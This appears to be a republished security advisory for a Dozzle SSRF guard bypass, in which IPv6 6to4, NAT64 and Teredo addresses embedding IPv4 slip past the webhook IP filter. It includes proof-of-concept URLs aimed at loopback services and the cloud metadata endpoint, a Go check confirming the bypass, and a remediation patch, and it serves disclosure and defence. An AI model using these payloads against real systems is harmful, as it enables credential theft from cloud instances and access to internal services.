Summary
Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher
The isBlockedIP SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs.
Affected component / versions
- Package:
github.com/amir20/dozzle - Affected versions: all versions with SSRF guard (current HEAD
b9df313) - Vulnerable code:
internal/notification/dispatcher/webhook.go
Details
Root cause (CWE-918)
internal/notification/dispatcher/webhook.go:32-51:
func isBlockedIP(ip net.IP) bool {
if ip.IsLoopback() ||
ip.IsLinkLocalUnicast() ||
ip.IsLinkLocalMulticast() ||
ip.IsMulticast() ||
ip.IsInterfaceLocalMulticast() ||
ip.IsUnspecified() {
return true
}
if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) {
return true
}
if ip.Equal(net.IPv4bcast) {
return true
}
return false
}
The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks:
| Mechanism | Prefix | Embeds | isBlockedIP result |
|---|---|---|---|
| 6to4 | 2002::/16 |
any IPv4 in bits 16-47 | false |
| NAT64 WKP | 64:ff9b::/96 |
any IPv4 in bits 96-127 | false |
| Teredo | 2001:0000::/32 |
any IPv4 in bits 96-127 | false |
Reachability / trust boundary
The safeDialContext function (line 53) resolves hostnames and checks each IP against isBlockedIP before establishing a TCP connection. This is used as the DialContext for the webhook HTTP client (line 115).
Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint.
Attack chain
- Authenticated user creates a webhook notification with URL
http://[2002:7f00:0001::1]:8080/(6to4 embedding 127.0.0.1) - When a notification triggers, Dozzle's webhook dispatcher calls
safeDialContext - The IPv6 address
2002:7f00:0001::1is checked againstisBlockedIP-- all predicates return false - Connection proceeds to the 6to4 relay which routes to 127.0.0.1
- The webhook POST reaches the host's loopback services
Proof of concept
Bypass vectors:
# 6to4 embedding 127.0.0.1 (bypasses IsLoopback)
http://[2002:7f00:0001::1]:8080/
# NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
# 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast)
http://[2002:a9fe:a9fe::1]/latest/meta-data/
# Teredo embedding 127.0.0.1
http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/
Verification that isBlockedIP returns false for all vectors:
package main
import (
"fmt"
"net"
)
func isBlockedIP(ip net.IP) bool {
return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified()
}
func main() {
for _, v := range []string{
"2002:7f00:0001::1", // 6to4 -> 127.0.0.1
"64:ff9b::a9fe:a9fe", // NAT64 -> 169.254.169.254
"2002:a9fe:a9fe::1", // 6to4 -> 169.254.169.254
} {
ip := net.ParseIP(v)
fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip))
}
}
// Output: all false
Credit
Reported by tonghuaroot ([email protected]).
Impact
An authenticated user can bypass the SSRF guard to:
- Reach cloud metadata service at 169.254.169.254 via
2002:a9fe:a9fe::1(6to4) to steal instance credentials - Reach localhost services via
64:ff9b::7f00:1(NAT64) or2002:7f00:0001::1(6to4) - The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned)
Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Add IPv6 transition mechanism prefix checks to isBlockedIP:
func isBlockedIP(ip net.IP) bool {
// ... existing checks ...
// IPv6 transition mechanisms embedding arbitrary IPv4
if len(ip) == net.IPv6len {
if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4
if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64
if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo
}
return false
}
Frequently Asked Questions
- What is CVE-2026-73087? CVE-2026-73087 is a low-severity server-side request forgery (SSRF) vulnerability in github.com/amir20/dozzle (go), affecting versions < 1.29.1-0.20260804193351-8cf7ccd5ee04. It is fixed in 1.29.1-0.20260804193351-8cf7ccd5ee04. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of github.com/amir20/dozzle are affected by CVE-2026-73087? github.com/amir20/dozzle (go) versions < 1.29.1-0.20260804193351-8cf7ccd5ee04 is affected.
- Is there a fix for CVE-2026-73087? Yes. CVE-2026-73087 is fixed in 1.29.1-0.20260804193351-8cf7ccd5ee04. Upgrade to this version or later.
- Is CVE-2026-73087 exploitable, and should I be worried? Whether CVE-2026-73087 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-73087 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-73087? Upgrade
github.com/amir20/dozzleto 1.29.1-0.20260804193351-8cf7ccd5ee04 or later.